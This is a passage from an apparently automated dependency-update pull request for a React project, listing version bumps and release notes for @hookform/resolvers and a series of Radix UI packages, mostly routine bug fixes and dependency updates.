[@radix-ui/react-alert-dialog](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/alert-dialog) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-aspect-ratio](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/aspect-ratio) | `1.1.8` | `1.1.11` |\n| [@radix-ui/react-avatar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/avatar) | `1.1.11` | `1.2.2` |\n| [@radix-ui/react-checkbox](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/checkbox) | `1.3.3` | `1.3.7` |\n| [@radix-ui/react-context-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/context-menu) | `2.2.16` | `2.3.3` |\n| [@radix-ui/react-dropdown-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/dropdown-menu) | `2.1.16` | `2.1.20` |\n| [@radix-ui/react-hover-card](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/hover-card) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-label](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/label) | `2.1.8` | `2.1.11` |\n| [@radix-ui/react-menubar](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/menubar) | `1.1.16` | `1.1.20` |\n| [@radix-ui/react-navigation-menu](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/navigation-menu) | `1.2.14` | `1.2.18` |\n| [@radix-ui/react-popover](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/popover) | `1.1.15` | `1.1.19` |\n| [@radix-ui/react-progress](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/progress) | `1.1.8` | `1.1.12` |\n| [@radix-ui/react-radio-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/radio-group) | `1.3.8` | `1.4.3` |\n| [@radix-ui/react-scroll-area](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/scroll-area) | `1.2.10` | `1.2.14` |\n| [@radix-ui/react-select](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/select) | `2.2.6` | `2.3.3` |\n| [@radix-ui/react-separator](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/separator) | `1.1.8` | `1.1.11` |\n| [@radix-ui/react-slider](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/slider) | `1.3.6` | `1.4.3` |\n| [@radix-ui/react-switch](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/switch) | `1.2.6` | `1.3.3` |\n| [@radix-ui/react-tabs](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tabs) | `1.1.13` | `1.1.17` |\n| [@radix-ui/react-toggle](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle) | `1.1.10` | `1.1.14` |\n| [@radix-ui/react-toggle-group](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/toggle-group) | `1.1.11` | `1.1.15` |\n| [@radix-ui/react-tooltip](https://github.com/radix-ui/primitives/tree/HEAD/packages/react/tooltip) | `1.2.8` | `1.2.12` |\n| [date-fns](https://github.com/date-fns/date-fns) | `4.1.0` | `4.4.0` |\n| [framer-motion](https://github.com/motiondivision/motion) | `12.35.2` | `12.42.2` |\n| [react](https://github.com/facebook/react/tree/HEAD/packages/react) | `19.2.3` | `19.2.7` |\n| [@types/react](https://github.com/DefinitelyTyped/DefinitelyTyped/tree/HEAD/types/react) | `19.2.7` | `19.2.17` |\n| [react-dom](https://github.com/facebook/react/tree/HEAD/packages/react-dom) | `19.2.3` | `19.2.7` |\n| [react-hook-form](https://github.com/react-hook-form/react-hook-form) | `7.70.0` | `7.81.0` |\n| [react-resizable-panels](https://github.com/bvaughn/react-resizable-panels) | `4.2.2` | `4.12.2` |\n| [tailwind-merge](https://github.com/dcastil/tailwind-merge) | `3.4.0` | `3.6.0` |\n| [zod](https://github.com/colinhacks/zod) | `4.3.5` | `4.4.3` |\n| [autoprefixer](https://github.com/postcss/autoprefixer) | `10.4.23` | `10.5.3` |\n| [eslint-plugin-react-hooks](https://github.com/facebook/react/tree/HEAD/packages/eslint-plugin-react-hooks) | `7.0.1` | `7.1.1` |\n| [eslint-plugin-react-refresh](https://github.com/ArnaudBarre/eslint-plugin-react-refresh) | `0.4.26` | `0.5.3` |\n| [postcss](https://github.com/postcss/postcss) | `8.5.16` | `8.5.19` |\n| [typescript-eslint](https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/typescript-eslint) | `8.52.0` | `8.64.0` |\n\n\nUpdates `@hookform/resolvers` from 5.2.2 to 5.4.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/resolvers/releases\"\u003e@​hookform/resolvers's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev5.4.0\u003c/h2\u003e\n\u003ch1\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/compare/v5.3.0...v5.4.0\"\u003e5.4.0\u003c/a\u003e (2026-05-21)\u003c/h1\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: add ata-validator resolver (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/845\"\u003e#845\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix issue with toNestErrors.ts (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/848\"\u003e#848\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cul\u003e\n\u003cli\u003eadd guidance on passing context to \u003ccode\u003eyupResolver\u003c/code\u003e (useForm context) (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/835\"\u003e#835\u003c/a\u003e)  (\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/3d2992472adf5735b46b175e22bea82fddf13854\"\u003e3d29924\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/3d2992472adf5735b46b175e22bea82fddf13854\"\u003e\u003ccode\u003e3d29924\u003c/code\u003e\u003c/a\u003e feat: add guidance on passing context to \u003ccode\u003eyupResolver\u003c/code\u003e (useForm context) (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/835\"\u003e#835\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/56b68f3798612601190a533887847d8fef2c94af\"\u003e\u003ccode\u003e56b68f3\u003c/code\u003e\u003c/a\u003e feat: 5.3.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/cf8562d88ce3a1658676b2ef996347f29e05b3ee\"\u003e\u003ccode\u003ecf8562d\u003c/code\u003e\u003c/a\u003e update readme on ata-validator\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/5e5b6103692fa599ddacca39a03bf707e73a5012\"\u003e\u003ccode\u003e5e5b610\u003c/code\u003e\u003c/a\u003e fix issue with toNestErrors.ts (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/848\"\u003e#848\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/72aacf8604d697a29a1859f8bffccf18adb86add\"\u003e\u003ccode\u003e72aacf8\u003c/code\u003e\u003c/a\u003e Revise supported versions in SECURITY.md\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/ad89a20d869f2dc21b905168c5578b3522c01b64\"\u003e\u003ccode\u003ead89a20\u003c/code\u003e\u003c/a\u003e feat: add ata-validator resolver (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/845\"\u003e#845\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/02286db88310fd23e1de61ad880c23e210801813\"\u003e\u003ccode\u003e02286db\u003c/code\u003e\u003c/a\u003e ci: updated publish workflow to use node 24 (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/838\"\u003e#838\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/resolvers/commit/2e9bc7c7d02506d336e20d8c0bae0c479f3662ec\"\u003e\u003ccode\u003e2e9bc7c\u003c/code\u003e\u003c/a\u003e Fix(zodResolver): error paths in complex unions \u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/787\"\u003e#787\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/react-hook-form/resolvers/issues/819\"\u003e#819\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/react-hook-form/resolvers/compare/v5.2.2...v5.4.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-accordion` from 1.2.12 to 1.2.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/accordion/CHANGELOG.md\"\u003e@​radix-ui/react-accordion's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collapsible@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.12\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collapsible@1.1.15\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.11\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eDuplicate index signature\u003c/code\u003e errors that surfaced when consuming multiple packages together.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.10\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collapsible@1.1.14\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-collapsible@1.1.13\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-collection@1.1.9\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-direction@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/accordion\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-accordion\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-alert-dialog` from 1.1.15 to 1.1.19\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/alert-dialog/CHANGELOG.md\"\u003e@​radix-ui/react-alert-dialog's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dialog@1.1.19\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-dialog@1.1.18\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRemoved dev-only warnings for dialogs when title and/or description is not rendered.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dialog@1.1.17\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-dialog@1.1.16\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-slot@1.2.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/alert-dialog\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-alert-dialog\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-aspect-ratio` from 1.1.8 to 1.1.11\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/aspect-ratio/CHANGELOG.md\"\u003e@​radix-ui/react-aspect-ratio's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.11\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.10\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.9\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/aspect-ratio\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-aspect-ratio\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-avatar` from 1.1.11 to 1.2.2\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/avatar/CHANGELOG.md\"\u003e@​radix-ui/react-avatar's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.2.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.2.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed several edge cases with Avatar's loading state\n\u003cul\u003e\n\u003cli\u003eAn avatar's fallback would not be displayed again if its image component unmounted. This is now fixed.\u003c/li\u003e\n\u003cli\u003eRendering multiple \u003ccode\u003eAvatar.Image\u003c/code\u003e components per \u003ccode\u003eAvatar.Root\u003c/code\u003e was never supported and results in buggy, unpredictable behavior. We now warn about this in development.\u003c/li\u003e\n\u003cli\u003eZero-sized images were treated as \u003ccode\u003eloading\u003c/code\u003e, meaning that \u003ccode\u003eonLoadingStatusChange\u003c/code\u003e is never called once loaded. A zero-sized image now triggers an \u003ccode\u003eerror\u003c/code\u003e status on load.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eOther updates\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eFixed console warnings to show in test environments.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.12\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-callback-ref@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-is-hydrated@0.1.1\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/avatar\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-avatar\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-checkbox` from 1.3.3 to 1.3.7\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/checkbox/CHANGELOG.md\"\u003e@​radix-ui/react-checkbox's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.3.7\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.6\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.5\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.3.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-previous@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-size@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/checkbox\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-checkbox\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-collapsible` from 1.1.12 to 1.1.16\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/collapsible/CHANGELOG.md\"\u003e@​radix-ui/react-collapsible's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e1.1.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-presence@1.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.14\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e1.1.13\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed triggers referencing a non-existent element via \u003ccode\u003earia-controls\u003c/code\u003e when their content is removed from the DOM (credit to \u003ca href=\"https://github.com/dodomorandi\"\u003e\u003ccode\u003e@​dodomorandi\u003c/code\u003e\u003c/a\u003e for the \u003ca href=\"https://redirect.github.com/radix-ui/primitives/pull/3243\"\u003eoriginal PR\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded repository.directory to all package.json files\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-presence@1.1.6\u003c/code\u003e, \u003ccode\u003e@radix-ui/primitive@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-compose-refs@1.1.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.1.4\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-id@1.1.2\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-controllable-state@1.2.3\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-use-layout-effect@1.1.2\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/radix-ui/primitives/commits/HEAD/packages/react/collapsible\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eMaintainer changes\u003c/summary\u003e\n\u003cp\u003eThis version was pushed to npm by \u003ca href=\"https://www.npmjs.com/~GitHub%20Actions\"\u003eGitHub Actions\u003c/a\u003e, a new releaser for \u003ccode\u003e@​radix-ui/react-collapsible\u003c/code\u003e since your current version.\u003c/p\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@radix-ui/react-context-menu` from 2.2.16 to 2.3.3\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/radix-ui/primitives/blob/main/packages/react/context-menu/CHANGELOG.md\"\u003e@​radix-ui/react-context-menu's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.3.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eContextMenu\u003c/code\u003e not re-anchoring to the latest pointer position when re-triggered while already open.\u003c/li\u003e\n\u003cli\u003eFixed menu items, tab triggers, toolbar links, and select items intercepting \u003ccode\u003eSpace\u003c/code\u003e/\u003ccode\u003eEnter\u003c/code\u003e keys that originate from focusable descendants.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/primitive@1.1.5\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-context@1.2.0\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.20\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.2\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-primitive@2.1.7\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-menu@2.1.19\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.1\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed a bug where menus and submenus remained open after a window loses focus.\u003c/li\u003e\n\u003cli\u003eUpdated dependencies: \u003ccode\u003e@radix-ui/react-menu@2.1.18\u003c/code\u003e, \u003ccode\u003e@radix-ui/react-primitive@2.1.6\u003c/code\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.3.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for a controlled \u003ccode\u003eopen\u003c/code\u003e prop on \u003ccode\u003eContextMenu.Root\u003c/code\u003e. This is intended for reading the open state and closing the menu programmatically, though we discourage opening the menu programmatically since opening the menu depends on user interaction to position the menu.\u003c/li\u003e\n\u003cli\u003eFixed bug in context menu where submenus stayed expanded after 